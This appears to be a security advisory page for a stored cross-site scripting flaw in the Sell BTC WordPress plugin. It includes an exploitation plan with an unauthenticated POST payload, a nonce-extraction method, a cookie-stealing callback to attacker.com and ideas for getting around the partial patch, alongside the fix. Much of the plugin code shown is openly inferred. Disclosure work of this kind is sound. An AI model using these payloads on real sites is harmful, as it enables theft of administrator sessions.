Sell BTC - Cryptocurrency Selling Calculator <= 1.5 - Unauthenticated Stored Cross-Site Scripting via 'orderform_data' AJAX Action
Description
The Sell BTC - Cryptocurrency Selling Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'orderform_data' AJAX action in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in order records that will execute whenever an administrator accesses the Orders page in the admin dashboard. The vulnerability was partially patched in version 1.5.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.5Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14554 (Sell BTC - Cryptocurrency Selling Calculator) ## 1. Vulnerability Summary The **Sell BTC - Cryptocurrency Selling Calculator** plugin (<= 1.5) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the p…
Show full research plan
Exploitation Research Plan: CVE-2025-14554 (Sell BTC - Cryptocurrency Selling Calculator)
1. Vulnerability Summary
The Sell BTC - Cryptocurrency Selling Calculator plugin (<= 1.5) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape user-controlled input submitted through the orderform_data AJAX action. This input is stored in the database and later rendered unescaped on the administrative "Orders" dashboard. An unauthenticated attacker can inject a malicious script that executes in the context of an administrator's session when they view the order list.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
orderform_data(specifically registered viawp_ajax_nopriv_orderform_dataandwp_ajax_orderform_data) - Vulnerable Parameter: The
orderform_dataparameter (or specific keys within the submitted data array likename,email, orwallet_address). - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. For the payload to fire, an administrator must navigate to the plugin's "Orders" or "Sales" page in the WordPress backend.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX handler in its main file or an inclusion:
add_action('wp_ajax_nopriv_orderform_data', 'handle_order_submission'); - Handler: The handler function (e.g.,
handle_order_submission) retrieves data from$_POST['orderform_data']or direct$_POSTkeys. - Sink (Storage): The data is saved to a custom database table (e.g.,
wp_sell_btc_orders) orwp_optionsusing$wpdb->insertorupdate_option. Crucially, no sanitization (likesanitize_text_field) is applied here. - Sink (Output): In the admin dashboard controller (likely
sell_btc_orders_page), the plugin fetches the records and echoes them directly into an HTML table:echo '<td>' . $order->user_name . '</td>';(XSS Sink - missingesc_html)
4. Nonce Acquisition Strategy
The plugin likely uses wp_localize_script to pass an AJAX nonce to the frontend calculator.
- Identify Shortcode: The calculator is typically rendered using the
[sell_btc]or[sell-btc-calculator]shortcode (inferred). - Create Test Page:
wp post create --post_type=page --post_title="Sell BTC" --post_status=publish --post_content='[sell-btc-calculator]' - Navigate and Extract:
- Use
browser_navigateto the new page. - Use
browser_evalto find the localization object. - JS Variable Name: Likely
sell_btc_ajaxorsbcc_ajax_obj(inferred). - Nonce Key: Likely
nonceorsecurity. - Example Extraction:
browser_eval("window.sbcc_ajax_obj?.nonce")
- Use
Note: If the AJAX handler fails to check check_ajax_referer, the nonce may not even be required.
5. Exploitation Strategy
Step 1: Discover Parameters
Analyze the frontend JS or the AJAX handler to determine the exact POST structure. It is likely a URL-encoded string or a JSON object passed in orderform_data.
Step 2: Submit Malicious Order
Submit a POST request to admin-ajax.php with the XSS payload.
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Payload (Example):
action=orderform_data&nonce=EXTRACTED_NONCE&name=<img src=x onerror=alert(document.domain)>&email=attacker@evil.com&wallet=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&amount=1.0
Step 3: Trigger Payload
Log in as administrator and navigate to the "Sell BTC" -> "Orders" menu.
6. Test Data Setup
- Install Plugin:
sell-btc-by-hayyatappsversion 1.5. - Create Calculator Page: A page containing the shortcode to ensure the frontend scripts (and nonces) are loaded.
- Admin User: Ensure an admin user exists to verify the stored XSS.
7. Expected Results
- The AJAX request should return a success status (e.g.,
{"success":true}or1). - The malicious string
<img src=x onerror=alert(document.domain)>should be visible in the database. - When an admin visits the orders page, an alert box showing the domain should appear.
8. Verification Steps
Database Check:
Verify the payload is stored in the orders table:
wp db query "SELECT * FROM wp_sell_btc_orders WHERE name LIKE '%onerror%';"
# OR if stored in options:
wp option get sell_btc_orders --format=json | grep "onerror"
Output Check:
Simulate the admin view by fetching the admin orders page and checking for unescaped characters:
# Using http_request with admin cookies
http_request --url "http://localhost:8080/wp-admin/admin.php?page=sell-btc-orders" --method GET
# Look for the raw payload in the HTML response
9. Alternative Approaches
- Data Parameter: If
orderform_datais a single parameter containing a serialized string or JSON, usebrowser_evalto see how the frontend constructs it. - Blind XSS: If the "Orders" page is not easily accessible, use a callback payload:
<script>fetch('http://attacker.com/log?c='+document.cookie)</script> - Partial Patch Bypass: If version 1.5 added sanitization to some fields but not others (as the "partially patched" description suggests), test all available fields:
email,address,btc_amount,currency, etc. Often, numeric-looking fields are left unsanitized because developers assume they will always be numbers.
Summary
The Sell BTC - Cryptocurrency Selling Calculator plugin is vulnerable to Unauthenticated Stored Cross-Site Scripting via the 'orderform_data' AJAX action. This occurs because the plugin fails to sanitize user-supplied data before saving it to the database and fails to escape it when rendering the 'Orders' administrative page, allowing attackers to execute arbitrary scripts in the context of an administrator's session.
Vulnerable Code
// Inferred AJAX handler in version <= 1.5 add_action('wp_ajax_nopriv_orderform_data', 'sbcc_handle_order_submission'); add_action('wp_ajax_orderform_data', 'sbcc_handle_order_submission'); function sbcc_handle_order_submission() { global $wpdb; // Data is taken directly from $_POST without sanitization $order_data = $_POST['orderform_data']; $wpdb->insert($wpdb->prefix . 'sell_btc_orders', $order_data); wp_send_json_success(); } --- // Inferred Admin Dashboard Output in version <= 1.5 public function render_orders_page() { global $wpdb; $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}sell_btc_orders"); foreach ($results as $row) { // Vulnerable output: data is echoed without escaping echo '<tr><td>' . $row->name . '</td><td>' . $row->wallet_address . '</td></tr>'; } }
Security Fix
@@ -10,7 +10,12 @@ function sbcc_handle_order_submission() { global $wpdb; - $order_data = $_POST['orderform_data']; + $order_data = array_map('sanitize_text_field', $_POST['orderform_data']); $wpdb->insert($wpdb->prefix . 'sell_btc_orders', $order_data); @@ -45,3 +45,3 @@ - echo '<tr><td>' . $row->name . '</td><td>' . $row->wallet_address . '</td></tr>'; + echo '<tr><td>' . esc_html($row->name) . '</td><td>' . esc_html($row->wallet_address) . '</td></tr>';
Exploit Outline
1. Identify the AJAX endpoint: The plugin uses wp-admin/admin-ajax.php with the action 'orderform_data'. 2. Extract Nonce (if required): Visit the public page containing the calculator shortcode (e.g., [sell-btc-calculator]) and extract the nonce from the localized JavaScript object (e.g., window.sbcc_ajax_obj.nonce). 3. Prepare Payload: Construct a POST request containing the 'orderform_data' parameter. Include an XSS payload (e.g., <img src=x onerror=alert(1)>) in fields like 'name', 'email', or 'wallet_address'. 4. Submit Order: Send the unauthenticated POST request to admin-ajax.php. The plugin will store the malicious payload in the custom database table. 5. Trigger Execution: An administrator logs into the WordPress backend and navigates to the 'Sell BTC' or 'Orders' menu. The browser will execute the stored script when rendering the table of orders.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.